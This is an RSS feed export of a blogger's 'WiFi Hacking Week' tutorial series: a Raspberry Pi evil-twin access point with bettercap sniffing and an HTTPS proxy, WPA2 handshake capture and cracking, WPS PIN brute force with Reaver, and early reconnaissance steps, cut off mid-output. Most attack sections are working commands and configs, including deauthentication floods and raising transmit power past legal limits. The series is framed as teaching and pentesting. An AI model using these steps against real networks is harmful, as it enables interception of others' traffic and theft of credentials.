<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by DJ Nelson on Medium]]></title>
        <description><![CDATA[Stories by DJ Nelson on Medium]]></description>
        <link>https://medium.com/@djislucid?source=rss-1b24a7998cb1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*-DBvUYBRidonhmUSf97Ypw.png</url>
            <title>Stories by DJ Nelson on Medium</title>
            <link>https://medium.com/@djislucid?source=rss-1b24a7998cb1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 09:50:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@djislucid/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[WiFi Hacking Week Pt. 4 — Evil Twin Attacks]]></title>
            <link>https://infosecwriteups.com/wifi-hacking-week-pt-4-evil-twin-attacks-63f79a800206?source=rss-1b24a7998cb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/63f79a800206</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[evil-twin-attack]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[wifi]]></category>
            <dc:creator><![CDATA[DJ Nelson]]></dc:creator>
            <pubDate>Mon, 18 Apr 2022 04:54:49 GMT</pubDate>
            <atom:updated>2022-07-15T08:05:11.197Z</atom:updated>
            <content:encoded><![CDATA[<h3>WiFi Hacking Week Pt. 4 — Evil Twin Attacks</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FqzEP2jrD5GebSGbGktRTA.png" /><figcaption>but don’t actually…</figcaption></figure><p>If you are reading this that means you’ve either made it to the fourth post in this series on WiFi security, you accidentally clicked this link, or you’re simply curious about the practical ways in which one might create a malicious WiFi access point for the purpose of man-in-the-middling a wireless internet connection. If you haven’t read the previous articles and feel you need some background info feel free to start <a href="https://djislucid.medium.com/wifi-hacking-week-1166e534f041">here</a>. In this blog post we will be walking through exactly how an attacker could configure a rogue device as a malicious access point and surreptitiously implant it in a network in order to capture traffic and carry out malicious attacks.</p><p>The scenario we are outlining is one where a malicious actor has configured a Raspberry Pi ahead of time to connect to the real network and operate as an access point with a benign name that wouldn’t cause anyone to think twice about connecting to it in order to access the internet. A Raspberry Pi — or other single-board computer — is perfect for this scenario as they are cheap, easy to set up, and are small enough that they could be hidden from scrutiny by interested parties. Exactly how one would conceal a device like this is outside of the scope of this article. I’ll leave that up to you to think creatively when imagining this scenario taking place in the real world. If you don’t have a Raspberry Pi, no worries. You can follow along just as readily using your own Linux computer. It is important to note that for this to work, you will need a secondary wireless network interface. I’m using an Alfa <a href="https://www.amazon.com/Alfa-AWUS036NEH-Wireless-Long-Range-Original/dp/B003ZW6CZC">AWUS036NEH</a>, but feel free to use whatever you want as long as it’s firmware is Linux compatible and it supports monitor mode. If you don’t know what that means feel free to see a <a href="https://medium.com/@djislucid/wifi-hacking-week-1166e534f041">previous article</a> I wrote on some more basic concepts.</p><h4>Going fishing</h4><p>The first thing we are going to tackle is getting our device set up to act as an access point. None of this is magic. All we are doing is turning a Linux-based computer into a router. I chose to connect my Raspberry Pi to the local testing lab (my living room) WiFi network with it’s built in wireless card in order to make it feel more realistic. If you want to get this up and running quickly feel free to plug into your home router, just know that in a real attack scenario the attacker would likely be connecting the implant to the internet via WiFi, or 4G using an external 4G dongle.</p><p>Ok, let’s cover some basic definitions so it’s not confusing to follow along. These are the interfaces we will be working with.</p><pre>wlp4s0 — connected to the real access point, and thus the internet<br>alfa — the interface the evil twin will broadcast it&#39;s network on<br>mon0 - a virtual interface we put into monitor mode (optional)</pre><p>I’ll start by connecting the Raspberry Pi — let’s call it EvilAP — to the real access point. If you just plugged in directly to your router you can skip this part.</p><pre># sudo wpa_supplicant -i wlp4s0 -c /etc/wpa_supplicant/demo.conf<br># sudo dhclient wlp4s0</pre><p>Now, this step is optional, but if at some point later you want to be able to actively deauth local clients in hopes of getting them to reconnect to your EvilAP, then you will need an additional interface that you can set into monitor mode. Seeing as our <em>alfa</em> interface will be operating in master mode, we can spawn a virtual interface off of the <em>alfa</em> interface and set it to monitor mode.</p><pre># iw alfa interface add mon0 type monitor</pre><p>Now we have an interface named <em>mon0</em> which will behave just like a physical dongle. If necessary, you could use this one to sniff packets and deauth clients while the other interfaces are tied up in their affairs. Ok, now let’s do some routing configuration for our external WiFi adapter.</p><pre># sudo ip link set alfa up<br># sudo ifconfig alfa 192.168.88.1 netmask 255.255.255.0<br># sudo route add -net 192.168.88.0 netmask 255.255.255.0 gw 192.168.88.1</pre><p>All we did here is configure the default route and gateway for our EvilAP network. I chose the subnet 192.168.88.0/24, but you could chose whatever private subnet range you’d like as long as it’s not the same as the subnet range your EvilAP is currently connected to.</p><p>We will also need to make sure traffic can flow freely between the EvilAP network and the regular network by configuring some IPtables firewall rules.</p><pre># iptables -F<br># iptables -X<br># iptables -A FORWARD -i alfa -o wlp4s0 -j ACCEPT<br># iptables -A FORWARD -i wlp4s0 -o alfa -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT<br># iptables -t nat -A POSTROUTING -o wlp4s0 -j MASQUERADE</pre><p>and if it isn’t already configured…</p><pre># sudo -s <br># echo 1 &gt; /proc/sys/net/ipv4/ip_forward</pre><p>All we did there is allow forwarding of traffic between <em>alfa</em> and <em>wlp4s0</em>, as well as allow NAT routing so that all packets leaving the <em>alfa</em> interface for the <em>wlp4s0</em> and out will be “masqueraded” as packets originating from <em>wlp4s0</em>. Then, if it wasn’t previously configured, we allowed packet forwarding at the kernel level, otherwise nothing would actually pass through. At this point your EvilAP is configured to act as a basic router — allowing traffic to pass freely in between the evil access point interface, and the interface which is connected to the real network.</p><h4>Configuring the necessary services</h4><p>Next we will be utilizing the services of two utilities: dnsmasq and hostapd. Both of these services have default configuration files, but you can just as readily create brand new ones and store them wherever you like, as long as you call them appropriately when we start these services</p><p>dnsmasq.conf</p><pre>interface=alfa<br>dhcp-range=192.168.88.10,192.168.88.100,255.255.255.0,12h<br>dhcp-option=3,192.168.88.1<br>dhcp-option=6,192.168.88.1<br>server=1.1.1.1<br>server=64.6.64.6<br>log-queries<br>log-dhcp<br>listen-address=127.0.0.1</pre><p>hostapd.conf</p><pre>interface=alfa<br>country_code=US<br>driver=nl80211<br>ssid=EvilAP<br>hw_mode=g<br>channel=6<br>macaddr_acl=0<br>auth_algs=1<br>ignore_broadcast_ssid=0<br>wpa=2<br>wpa_passphrase=eviltwinpass<br>wpa_key_mgmt=WPA-PSK<br>rsn_pairwise=CCMP<br>ieee80211n=1<br>wmm_enabled=1</pre><p>Just remember to adapt the interfaces and DHCP options if yours differ from mine. Note that the <em>ssid</em> line is the name of the access point that your EvilAP will broadcast. So… if for some strange reason my article is the one you chose to learn from for your wifi pentesting gig, I encourage you to change the name to something less conspicuous.</p><p>Let’s start ’em up.</p><pre># hostapd -B ./hostapd.conf<br># dnsmasq -C ./dnsmasq.conf</pre><p>At this point everything should be up and running. Congratulations! You’ve successfully turned your Linux box or single-board computer into a functioning access point. Feel free to open up the Wi-Fi settings on your phone and see the EvilAp access point broadcasting it’s not-so-secret presence.</p><h4>Better Bettercap Usage</h4><p>Why do I say better? Initially I had follow a certain resource which told me to install a version which turned out to be rather useless and out of date, so be sure to follow<a href="https://www.bettercap.org/installation/"> the official docs</a> when installing this handy tool.</p><p>Our evil access point isn’t very evil if all it does is allow clients to connect to it. That’s where Bettercap comes in. Bettercap is an extremely versatile and easy-to-use tool which enables security enthusiasts, professionals and reverse engineers (and some other folks) to perform various wireless reconnaissance and offensive attacks against WiFi and bluetooth networks.</p><p>To get started, we attach Bettercap to our EvilAP’s broadcasting interface so we can see the activity that takes place there.</p><pre># bettercap -iface alfa<br>&gt; net.sniff on<br>&gt; net.show</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tHe5MkPtT5Pk8zg_Qh7RuA.png" /><figcaption>Have fun with OSINT, kids</figcaption></figure><p>We start Bettercap on our EvilAP interface, turn on network sniffing capabilities, and then we take a look at what’s currently on the network. Your output may vary depending on what’s running in your own lab, but it’s likely that you will see a handful of devices that you recognize. If you haven’t yet, feel free to pick up your phone and connect to EvilAP or whatever you decided to call the network.</p><p>Once you do, you’ll see some traffic come through as the new device connects. Exciting right?</p><p>By the way, if you want to simplify your Bettercap usage a bit, create a file called <em>eviltwin.cap</em> with these contents:</p><pre>net.sniff on<br>net.probe on<br>net.show<br>set net.sniff.output output.pcap</pre><p>That last one just directs bettercap to dump all captured traffic to a file called <em>output.pcap</em>. Then you can just run it with one command.</p><pre># sudo bettercap -iface alfa -caplet eviltwin.cap</pre><h4>Fishing with dynamite</h4><p>Ok, this is cool and all, but not every is just going to willingly connect to your network. There are a few ways to handle this, and a couple of them are effective, but rather loud. We’ve covered one in <a href="https://medium.com/@djislucid/wifi-hacking-week-pt-3-abusing-the-infrastructure-2caa6ebf6568">previous posts</a>. This is the reason we set up the <em>mon0</em> interface earlier. If you were so inclined and you wanted to catch a few fish (or a ton, depending on certain factors), you could essentially blast them off the network they’re connected to currently. Provided that your network name is the same as the one they were just on, and you are closer to them or have some other way of providing a stronger signal then the network they were on before, they may automatically reconnect to your evil twin network.</p><pre># aireplay-ng --deauth 50 -a &lt;GoodAPMAC&gt; -c &lt;GoodAPChannel&gt; mon0</pre><p>Obviously replace &lt;GoodAPMAC&gt; and &lt;GoodAPChannel&gt; with the actual access point and channel of the network you’re throwing dynamite into. You effectively spam the network with deauth packets kicking everything off that you can come in contact with.</p><p>This. Is. LOUD. More then likely you wouldn’t do this in a real engagement. If you are trying this at the local bar, then do look forward to being embarrassed when the WiFi-connected jukebox indiscreetly announces to everyone who was enjoying those country tunes that it has been disconnected from the internet. Hopefully your Alfa card with the big antenna wasn’t flashing too much. Instead of throwing dynamite into the river, you could just shoot an arrow.</p><pre>#  aireplay-ng -0 1 -a &lt;ap_MAC&gt; -c &lt;client_MAC&gt; alfa</pre><p>It’s much less noisy and there’s a possibility that they won’t notice, but there’s a chance the client will be miffed that they were mysteriously disconnected from the internet for a second. In some cases the client might catch on that something is amiss.</p><p>While we are talking about noise, the net.probe entry you added into eviltwin.cap tells Bettercap to constantly probe the network looking for connected hosts. It’s not the same as deauthing them, but it’s not stealthy either. So choose when to use that behavior wisely.</p><h4>So I can haz passwords?</h4><p>Nope. Not yet, silly. We haven’t even started a proxy for the HTTPS traffic yet. Go ahead and do that now at your Bettercap prompt.</p><pre>&gt; https.proxy on</pre><p>You can see that Bettercap is using a default TLS certificate for it’s proxy. I’m not going to go into a long explanation of what TLS certificates are or how they work as there are plenty of <a href="https://www.digicert.com/tls-ssl/tls-ssl-certificates">publicly available resources</a> that would do a much better job then me of explaining them. Basically, your browser has a store of verified authorities which tell it which certificates are good to trust with the encryption of the user’s traffic as it flies over the network. So the second your unwitting client tries to visit a website enabled with HTTPS (almost all of them), they will see a glaring warning issued by their browser that looks something like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*-i4u6wTMN0ourKT30HtLYQ.png" /></figure><p>You can simply hope they’ll go the brave traveler route and click the little Show Details button so they can visit the site anyway, dashing caution to the wind, but it’s unlikely. The only way to bypass this is to get them to install the illegitimate Bettercap certificate in their browser’s trust. Or is it?</p><h4>Wrapping Up</h4><p>That’s all for now. In upcoming posts we will go over captive portals as well as some modern ways that attackers steal credentials, session tokens, and even bypass 2FA.</p><p>When testing all of this I ended up starting, restarting, and reconfiguring multiple times in order to verify that things worked, as well as fix things that I borked. There ends up being a lot of typing and repetition so to make it easier I wrote a little bash script which wraps many of these steps into easy to run commands</p><p><a href="https://github.com/djislucid/wiTk">https://github.com/djislucid/wiTk</a></p><p>It’s not perfect (it’s bash after all), but it’s usage is pretty straightforward and allows you to go from nothing to a completely functional evil twin setup in a matters of seconds, save for some initial configuration. I also hope it serves as a learner tool as you can inspect the code and see which commands facilitate which step of the process. Feel free to fork, clone, or do whatever you want with it. Stay safe out there.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63f79a800206" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/wifi-hacking-week-pt-4-evil-twin-attacks-63f79a800206">WiFi Hacking Week Pt. 4 — Evil Twin Attacks</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WiFi Hacking Week Pt. 3 — Abusing the Infrastructure]]></title>
            <link>https://djislucid.medium.com/wifi-hacking-week-pt-3-abusing-the-infrastructure-2caa6ebf6568?source=rss-1b24a7998cb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/2caa6ebf6568</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[wifi]]></category>
            <dc:creator><![CDATA[DJ Nelson]]></dc:creator>
            <pubDate>Fri, 10 Dec 2021 08:40:12 GMT</pubDate>
            <atom:updated>2021-12-10T08:40:12.502Z</atom:updated>
            <content:encoded><![CDATA[<h3>WiFi Hacking Week Pt. 3 — Abusing the Infrastructure</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*g5pUqd9yROmNpE8DV-HgGA.jpeg" /></figure><p>Welcome to part three of a five (six?) part series on WiFi security and lack thereof. In the <a href="https://djislucid.medium.com/wifi-hacking-week-pt-2-reconnaissance-9d5a74556e4c">last article</a> we covered basic WiFi recon on Linux and prepared for what we will be covering in this one — attacking wireless access points. I highly recommend you read the previous article before following along, or be sure you’re already familiar with basic packet-sniffing techniques and command-line tools such as airodump-ng, tcpdump, iw, iwconfig… you know, WiFi stuff.</p><h4>Rules and Regulations</h4><p>Before we start with the fun attacking stuff I want to show you a little trick that will not only come in handy later in this post, but in the next one as well. We are going to increase our wireless adapter’s transmission power, or txpower. As with the last couple articles we will be using the adapter name ‘alfa’. If you’re following along you’ll want to either rename your adapter, or replace ‘alfa’ with your own adapter name.</p><p>Ok, first let’s get some info.</p><pre>dj@siriusA # iw reg get</pre><pre>global<br>country 00: DFS-UNSET<br> (2402 - 2472 @ 40), (N/A, 20), (N/A)<br> (2457 - 2482 @ 20), (N/A, 20), (N/A), AUTO-BW, PASSIVE-SCAN<br> (2474 - 2494 @ 20), (N/A, 20), (N/A), NO-OFDM, PASSIVE-SCAN<br> (5170 - 5250 @ 80), (N/A, 20), (N/A), AUTO-BW, PASSIVE-SCAN<br> (5250 - 5330 @ 80), (N/A, 20), (0 ms), DFS, AUTO-BW, PASSIVE-SCAN<br> (5490 - 5730 @ 160), (N/A, 20), (0 ms), DFS, PASSIVE-SCAN<br> (5735 - 5835 @ 80), (N/A, 20), (N/A), PASSIVE-SCAN<br> (57240 - 63720 @ 2160), (N/A, 0), (N/A)</pre><pre>&lt;snip&gt;</pre><p>What we’re doing here is requesting the regulatory domain information of our adapter. What is regulatory domain information you ask? Well, organizations such as the FCC create special country-specific legal regulations regarding how radio signal transmitting devices such as wireless adapters and antennae are to be used. These regulations include things such as how powerful the radio signal transmission can be. If you take a look at the above output you’ll see that the numbers go up to 2494 before changing to 5170. This number corresponds to radio frequency. Remember changing the channel our WiFi adapter is listening on in the last post? Now if we look a little further in the output…</p><pre>phy#0 (self-managed)<br>country US: DFS-UNSET<br> (2402 - 2437 @ 40), (6, 22), (N/A), AUTO-BW, NO-HT40MINUS, NO-80MHZ, NO-160MHZ<br> (2422 - 2462 @ 40), (6, 22), (N/A), AUTO-BW, NO-80MHZ, NO-160MHZ<br> (2447 - 2482 @ 40), (6, 22), (N/A), AUTO-BW, NO-HT40PLUS, NO-80MHZ, NO-160MHZ<br> (5170 - 5190 @ 80), (6, 22), (N/A), AUTO-BW, NO-HT40MINUS, NO-160MHZ<br> (5190 - 5210 @ 80), (6, 22), (N/A), AUTO-BW, NO-HT40PLUS, NO-160MHZ<br> (5210 - 5230 @ 80), (6, 22), (N/A), AUTO-BW, NO-HT40MINUS, NO-160MHZ<br> (5230 - 5250 @ 80), (6, 22), (N/A), AUTO-BW, NO-HT40PLUS, NO-160MHZ</pre><p>This information pertains to the United States. As you can see, the number stops at 2482 before switching to 5170. This is the highest frequency in the 2.4 GHz range that the FCC allows wireless adapters to go in the US. Think 2.482 (GHz). Check it out.</p><pre>dj@siriusA # sudo iwconfig alfa channel 14<br>dj@siriusA # iwconfig alfa<br>alfa      IEEE 802.11  ESSID:off/any  <br>          Mode:Managed  Frequency:2.484 GHz  Access Point: Not-Associated   <br>          Tx-Power=20 dBm   <br>          Retry short  long limit:2   RTS thr:off   Fragment thr:off<br>          Power Management:off</pre><p>You can see the frequency is set at 2.484 GHz. As a side note, notice that the Tx-Power field is set at 20dBm. Ok, now try setting the frequency higher.</p><pre>dj@siriusA # sudo iwconfig alfa channel 15<br>Error for wireless request &quot;Set Frequency&quot; (8B04) :<br>    SET failed on device alfa ; Invalid argument.</pre><p>Fun stuff. Now if I’m being honest I’m not exactly sure why iw reg get shows 2482 as the highest number yet my network card listens on 2.484, so if you know the answer to that one let me know. You may have just caught me giving you misinformation. I encourage you to read more about it <a href="https://honeywellaidc.force.com/supportppr/s/article/What-WLAN-regulatory-domain-is-usedallowed-in-what-country">here</a>. Time to start messing with the transmission settings.</p><h4>Powering Up</h4><p>So earlier in the ‘iw reg get’ output we saw a line</p><pre>country 00: DFS-UNSET</pre><p>We will need to set a country code in order to be able to change the txpower. You will want to set it to a country code that isn’t regulated by the FCC.</p><pre>dj@siriusA # sudo iw reg set BT</pre><p>I chose Bhutan because, well, I’m lazy and that country code was at the top of a list somewhere.</p><pre>dj@siriusA # sudo ip link set alfa down<br>dj@siriusA # sudo iw dev alfa set txpower fixed 30mBm<br>dj@siriusA # iwconfig alfa<br>alfa      IEEE 802.11  ESSID:off/any  <br>          Mode:Managed  Access Point: Not-Associated   Tx-Power=30 dBm   <br>          Retry short  long limit:2   RTS thr:off   Fragment thr:off<br>          Power Management:off</pre><p>We’ve now set the Tx-power ten decibel-milliwats higher to 30 dBm. Cool. You don’t really get to immediately benefit from that, but, now you know how. Like I said, this will come in handy later. Oh, one more thing. As I stated earlier, organizations like the FCC regulate this sort of thing for a reason, so this may be illegal in your country. Go check. Or don’t. Whatever.</p><h4>Cracking WPA2 Authentication</h4><p>Normally these sorts of articles start with cracking WEP and then graduate to WPA/WPA2 networks. While I agree that it’s important to learn your history before you start trying to pave a path through this brave new world, there are many great articles that cover cracking WEP networks better than I could. Not only that, but I haven’t seen very many WEP networks around recently, have you? Don’t let me stop you from learning about it if you want to though. Aircrack’s <a href="http://www.aircrack-ng.org/doku.php?id=simple_wep_crack">article </a>never fails.</p><p>For those of you who don’t know, WPA stands for WiFi Protected Access. WPA is an encryption standard used to protect wireless communications. It was created as a replacement for WEP encryption which had glaring vulnerabilities making it extremely trivial to break the encryption. In 2004 WPA2 was introduced to improve upon WPA by utilizing the military-grade AES cipher making it a much more resilient security protocol. However, at the ripe old age of seventeen, WPA2 is something of a dinosaur and vulnerabilities such as the <a href="https://www.fortinet.com/resources/cyberglossary/krack-attack">KRACK</a> (Key Reinstallation Attack) have since been discovered. That attack, and the recent WPA3 which improves upon many aspects of WPA2, are outside the scope of this tutorial.</p><p>Without further ado, let’s get started.</p><h4>Choosing the Target</h4><p>First thing we’ll do is set our adapter into monitor mode and start observing traffic on nearby networks. Chances are you’re hoping to crack the password of a specific access point, so you’ll want to keep an eye out for your target’s MAC address.</p><pre>dj@siriusA # sudo ip link set alfa down<br>dj@siriusA # sudo iwconfig alfa mode monitor<br>dj@siriusA # sudo ip link set alfa up<br>dj@siriusA # sudo airodump-ng alfa</pre><p>In this case I’ll chose an access point I own because I’m blogging on the internet and attacking your neighbor’s router is rude. Aside from the MAC address you’ll also need to take note of the channel the access point is operating on. My access point appears to be operating on channel 1.</p><pre>sudo airodump-ng --bssid DC:FE:07:FF:83:D8 -c 1 alfa -w output</pre><p>We told airodump-ng to only observe traffic pertaining to the access point with the above MAC address. The -c flag ensures we are listening on the right frequency and the -w flag dumps all captured traffic to a series of files prepended with the name ‘output’. We need to dump the traffic in order to be able to crack it later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6fH02OnkPI8hTebGFabRCw.png" /></figure><p>Now we can observe traffic between our target access point and any clients connected to it without all the other noise. You can see above that there is one client connected to the access point.</p><h4>Getting Intrusive</h4><p>At this point in the process there are a couple ways you can proceed. We need to be able to witness a client connecting to the access point so we can capture the 4-way handshake we talked about in the first article of this series. In order to do that we can do a number of things. The first is to simply wait. Eventually someone is bound to connect to the access point, and when they do we will be there to intercept the handshake. Obviously you’ll want to make sure you’re close enough to the access point to be able to see this happen. The second thing we can do is more aggressive. The aircrack-ng suite has a utility called aireplay-ng which allows us to inject packets into the network. If this is the route you choose it’s a good idea to test to be sure we can actually inject successfully. We will use the connected client we saw just a minute ago.</p><pre>dj@siriusA # sudo aireplay-ng -e 86:EE:B0:38:E6:ED -a DC:FE:07:FF:83:D8 --test alfa</pre><pre>02:29:33  Trying broadcast probe requests...<br>02:29:33  Injection is working!<br>02:29:35  Found 1 AP</pre><pre>02:29:35  Trying directed probe requests...<br>02:29:35  DC:FE:07:FF:83:D8 - channel: 1 - &#39;86:EE:B0:38:E6:ED&#39;<br>02:29:35  Ping (min/avg/max): 1.390ms/3.697ms/6.534ms Power: -26.73<br>02:29:35  30/30: 100%</pre><p>If you are seeing this output then congrats, you can successfully inject packets into the target network. Next we will use the same utility to inject de-authentication packets into the network to force the specific client to reconnect to the access point, forcing a handshake.</p><pre>sudo aireplay-ng -0 1 -a DC:FE:07:FF:83:D8 -c 86:EE:B0:38:E6:ED alfa</pre><p>Look for a WPA handshake in the upper right corner of the airodump-ng output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*lZkO8U35suJRP5vii41d8Q.png" /></figure><p>If you see this you’ve successfully forced the client to re-authenticate and captured the resulting 4-way handshake. You’re almost there. It’s important to realize that going this route is extremely noisy and will almost certainly be noticed by detection systems if you’re trying to perform this attack in a corporate setting. At the very least, the client you just de-authed will notice a momentary lapse in connectivity. If you try this at a bar, the jukebox you inadvertently disconnected may stop playing music for a moment and announce to a room full of hot-blooded drunk apes that their buzz has been temporarily killed. Choose your targets wisely.</p><p>In the past I’ve found that aireplay-ng doesn’t inject on the right channel. As long as airodump-ng is still listening then this shouldn’t be an issue.</p><h4>Going For the Kill</h4><p>To be honest, this attack isn’t really all that sophisticated. All we’re really doing is performing some basic network sniffing, waiting for — or forcing — a client to initiate a 4-way handshake, and then once we’ve captured that and saved it to a file, we simply bruteforce it. That’s all there is to it. It’s actually rather mundane. Regardless, let’s make it happen.</p><pre>sudo aircrack-ng -w wordlist.txt -b DC:FE:07:FF:83:D8 output*.cap</pre><p>This part depends largely on your wordlist and your patience. There are multiple ways to do this part too. If you don’t feel like using aircrack-ng you can also use a tool like hashcat which utilizes a GPU instead of a CPU to crack the hash. If you don’t have a computer with a GPU you can <a href="https://kstathou.medium.com/how-to-set-up-a-gpu-instance-for-machine-learning-on-aws-b4fb8ba51a7c">set up an AWS instance</a> with a GPU. Both hashcat usage and AWS are outside the scope of this tutorial.</p><p>If time is of the essence then this attack isn’t necessarily practical as bruteforcing WPA and WPA2 hashes could take days. However, there are other ways if the circumstances are right.</p><h4>Attacking Access Points With Reaver</h4><p>Have you ever seen that button on your router that has the letters WPS somewhere near it? That button exists as a way for the every day homeowner to simplify the process of getting their access point set up, and getting devices connected to it without the hassle of configuring anything or entering in (hopefully) complex default credentials. It was introduced sometime in 2006 and it’s fairly convenient if you don’t like touching anything besides buttons, but it has some issues. The major issue is the fact that it utilizes an 8 digit pin to facilitate the connection. Not only that, but the last digit is a checksum meaning that there’s only 7 digits to guess. It’s probably not necessary to mention but I’ll do it anyway; a 7 digit pin doesn’t take all that long to bruteforce. Once an attacker has the pin they can get the WPA2 key. Let’s explore that.</p><pre>dj@siriusA # sudo airodump-ng -W -w output alfa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ufP6S0Y-wDRNoe0jojO8TA.png" /></figure><p>You may have noticed that this airodump-ng output is slightly different then the previous on. We’ve added a -W flag to it in order to see each any access point’s WPS information, if it exists. We can see in the output that there are access points in the area with both version 1 and 2 of WPS. The one at the bottom with LAB and DISP next to it? That pertains to the WPS configuration methods available on the device. You can read more about it <a href="https://unix.stackexchange.com/questions/364251/airodump-ng-what-are-the-abbreviations-in-the-wps-column">here</a>.</p><p>Another way we could do this is with a utility called wash.</p><pre>dj@siriusA # sudo wash -i alfa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*Udjd9al2KZHn-E-PsJ9X2g.png" /><figcaption>Don’t worry I own these</figcaption></figure><p>Newer routers may not be vulnerable to this attack as it’s definitely not brand new, so bear with me.</p><p>Ok. Assuming you’ve found your target you just need to take note of the MAC address and channel. We will use a tool called Reaver which was made specifically for the purpose of bruteforcing WPS-enabled routers.</p><pre>dj@siriusA # sudo reaver -i alfa -b DC:FE:07:FF:83:D8 -d 3 -vvLN -c 1</pre><p>This will perform an online bruteforce of the WPS pin. The fact that it’s an online attack is exactly the reason why we learned how to increase our wireless adapter’s Tx-power earlier in this post. If your signal is too weak you may not be able to carry out this attack successfully. You may see something liek this in the resulting output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*E3WZEWShGMfLghKCrTj5Mw.png" /></figure><p>If this happens I’ve found increasing the Tx-power to be helpful, or to change the delay on the transmission. That’s what the -d flag is for. The other thing about this being an online attack is that, like the previous attack, this is extremely noisy. Save this attack method for helping your safety pin-averse friends recover their router’s password.</p><p>There is also a version of this attack called a pixiedust attack. Essentially, the lack of randomization in the WPS pin makes it possible for offline attacks to occur as well. In order to implement this using Reaver just add the -K flag. I’ve had success with both and depending on the age and make of the access point you may find yourself discovering the password in as little as a few minutes.</p><h4>Letting The (pixie) Dust Settle</h4><p>I mentioned this earlier, but I’ll say it again for good measure; both of these attacks are more then a little old at this point. The WPS attack we just covered was discovered way back in 2011 making it older then our last significant end-of-the-world prediction. So old, in fact, that I almost didn’t post it on the internet at all due to lack of relevance. However, this was one step along a path I paved for myself awhile back and I gained quite a bit of fundamental knowledge along the way. I felt I owed it to the community at large to share my interpretation of that knowledge regardless of it’s relevance in 2021. I hope you gained something from this article. If nothing else, perhaps it will inspire you to get yourself set up with an access point made after 2012. Your home network deserves it.</p><p>If you’ve kept up thus far I feel I owe you a beer or something. In the next article we are going to pivot from attacking infrastructure to something that hopefully make you suspicious the next time you see an open WiFi network at your local artisanal bean-water shop. See you soon.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2caa6ebf6568" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WiFi Hacking Week Pt. 2 — Reconnaissance]]></title>
            <link>https://djislucid.medium.com/wifi-hacking-week-pt-2-reconnaissance-9d5a74556e4c?source=rss-1b24a7998cb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/9d5a74556e4c</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[wifi]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[reconnaissance]]></category>
            <dc:creator><![CDATA[DJ Nelson]]></dc:creator>
            <pubDate>Sun, 21 Nov 2021 22:49:46 GMT</pubDate>
            <atom:updated>2021-11-21T22:49:46.695Z</atom:updated>
            <content:encoded><![CDATA[<h3>WiFi Hacking Week Pt. 2 — Reconnaissance</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8obgnsU6-20SaFL8WCIcjg.jpeg" /></figure><p>This is the second part in a four (five?) part series on WiFi security and the dangers of not being aware of it. I would recommend reading the <a href="https://dj-thirdsmedia.medium.com/wifi-hacking-week-1166e534f041">first one</a> if you haven’t yet, although it isn’t completely essential to understand this article if you are already familiar with Linux and basic wireless networking. I’ll save you from another long-winded introduction and let’s just jump right in.</p><h4>Gaining Awareness</h4><p>In the previous WiFi story we connected to a wireless network on a Linux computer via the command line. Now it’s time to disconnect. Think of it as taking a step back so you can gain a wider perspective on the network. We can do this by putting our network card into monitor mode. Monitor mode is one of those network operating modes we talked about in the previous article. A network card in monitor mode is able to see any 802.11 network traffic flying through the air. To set the adapter to monitor mode we will need to kill any interfering services like we did in the previous post, but this time we’ll use a neat little utility provided to us by the <a href="https://www.aircrack-ng.org/">Aircrack-ng</a> suite.</p><pre>dj@siriusA # sudo airmon-ng check kill</pre><p>Airmon-ng is one tool in the Aircrack-ng toolkit which provides a way for us to quickly kill any network traffic that might interfere with our network card. We can also use it to put our network card into monitor mode, but for the sake of learning I’d rather do it with native Linux commands. We will come back to Aircrack-ng later. As with the last article, we will use the adapter name ‘alfa’. Change your adapter’s alias to alfa or replace it with the name of your adapter.</p><pre>dj@siriusA # sudo ip link set alfa down <br>dj@siriusA # sudo iw alfa interface add mon0 type monitor<br>dj@siriusA # sudo ip link set alfa up<br>dj@siriusA # sudo ip link set mon0 up</pre><p>Now to confirm what we just did.</p><pre>dj@siriusA # iwconfig</pre><pre>lo        no wireless extensions.</pre><pre>enp0s31f6  no wireless extensions.</pre><pre>wlp4s0    